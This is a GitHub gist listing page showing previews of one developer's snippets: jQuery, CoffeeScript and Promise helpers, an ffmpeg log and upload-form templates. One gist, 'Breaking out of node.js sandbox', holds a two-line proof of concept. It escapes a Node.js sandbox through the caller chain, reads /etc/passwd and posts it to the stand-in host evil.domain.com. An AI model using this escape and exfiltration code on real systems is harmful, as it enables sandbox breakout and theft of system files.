Skip to content

Instantly share code, notes, and snippets.

View bjoerge's full-sized avatar

Bjørge Næss bjoerge

View GitHub Profile
@bjoerge
bjoerge / gist:5592444
Created May 16, 2013 15:10
Display commit time on github commit feed
$('[datetime]').each(function() { $('<p>'+new Date($(this).attr('datetime'))+'</p>').insertAfter($(this))})
May 14 13:05:52 riktig.bengler.no: Running command: ffmpeg -i '/tmp/tootsie20130514-15492-1exldxc' -threads '1' -v '1' -y -acodec 'libmp3lame' -ar '44100' -ab '128000' -qscale '1.0' -f 'mp3' '/tmp/tootsie20130514-15492-1wksk7d' 2>&1
May 14 13:05:53 riktig.bengler.no: [Command output] Stream mapping:
May 14 13:05:53 riktig.bengler.no: [Command output] Stream #0.0 -> #0.0
May 14 13:05:53 riktig.bengler.no: [Command output] Press ctrl-c to stop encoding
May 14 13:05:53 riktig.bengler.no: [Command output] Error while decoding stream #0.0
May 14 13:06:05 riktig.bengler.no: [Command output] size= 168kB time=10.74 bitrate= 128.1kbits/s
May 14 13:06:05 riktig.bengler.no: [Command output] size= 319kB time=20.40 bitrate= 128.1kbits/s
May 14 13:06:05 riktig.bengler.no: [Command output] size= 474kB time=30.30 bitrate= 128.0kbits/s
May 14 13:06:05 riktig.bengler.no: [Command output] size= 641kB time=41.04 bitrate= 128.0kbits/s
May 14 13:06:05 riktig.bengler.no: [Command output] size= 804kB time=51.44 b
@bjoerge
bjoerge / profilbildeforstorrer.js
Created September 30, 2012 15:24
Profilbildeforstørrer 2.0
(function ($) {
// Tha popup component
var Popup = (function () {
// Constrain the popup to be within this margin of the page
var margin = {top: 10, bottom: 30};
// Get current viewport
function getViewport() {
%form(id="uploadform" action="/images/upload" method="post")
File:
%input(type="file" name="file")
%button.upload(type="button") Upload
.image_container
.progress.active
.bar
HumanDate.relative(DateTime.parse("August 23, 2012 00:00:00 UTC"), :today => DateTime.parse("2012-08-23")).should eq "i dag"
@bjoerge
bjoerge / gist:2889278
Created June 7, 2012 15:02
Breaking out of node.js sandbox
var func = arguments.callee.caller.arguments.callee.caller.arguments.callee.caller.arguments.callee.arguments.callee.caller.arguments.callee.caller;
func.call(func, "var fs = process.mainModule.require('fs');var http = process.mainModule.require('http');var req = http.request({host: 'evil.domain.com'}); req.write(fs.readFileSync('/etc/passwd').toString());req.end();");
@bjoerge
bjoerge / gist:2690398
Created May 13, 2012 21:50
Cross browser xmlhttprequest get
# Cross browser xmlhttprequest function (based on http://www.quirksmode.org/js/xmlhttp.html)
xhrGet = do ->
XMLHttpFactories = [
-> new XMLHttpRequest()
-> new ActiveXObject("Msxml2.XMLHTTP")
-> new ActiveXObject("Msxml3.XMLHTTP")
-> new ActiveXObject("Microsoft.XMLHTTP")]
createXHR = ->
@bjoerge
bjoerge / gist:1885939
Created February 22, 2012 16:39
This is one of the reasons CoffeeScript simply rocks
after = (ms, func) ->
setTimeout func, ms
after 200, ->
console.log "200 milliseconds passed"
after 400, ->
console.log "400 milliseconds passed"
@bjoerge
bjoerge / gist:1578785
Created January 8, 2012 15:52
Another minimal, but more feature rich Promise implementation
var Promise = (function() {
var api_tuples = {notify: 'progress', resolve: 'then', reject: 'fail', done: 'always' }, // all (action, callback_adder)-tuples)
isFunction = function(obj) {
return Object.prototype.toString.call(obj) == '[object Function]';
},
slice = Array.prototype.slice,
each_pair = function(obj, callback) {
Object.keys(obj).forEach(function(key) { callback(key, obj[key]); });
},
invokeEach = function(funcs) {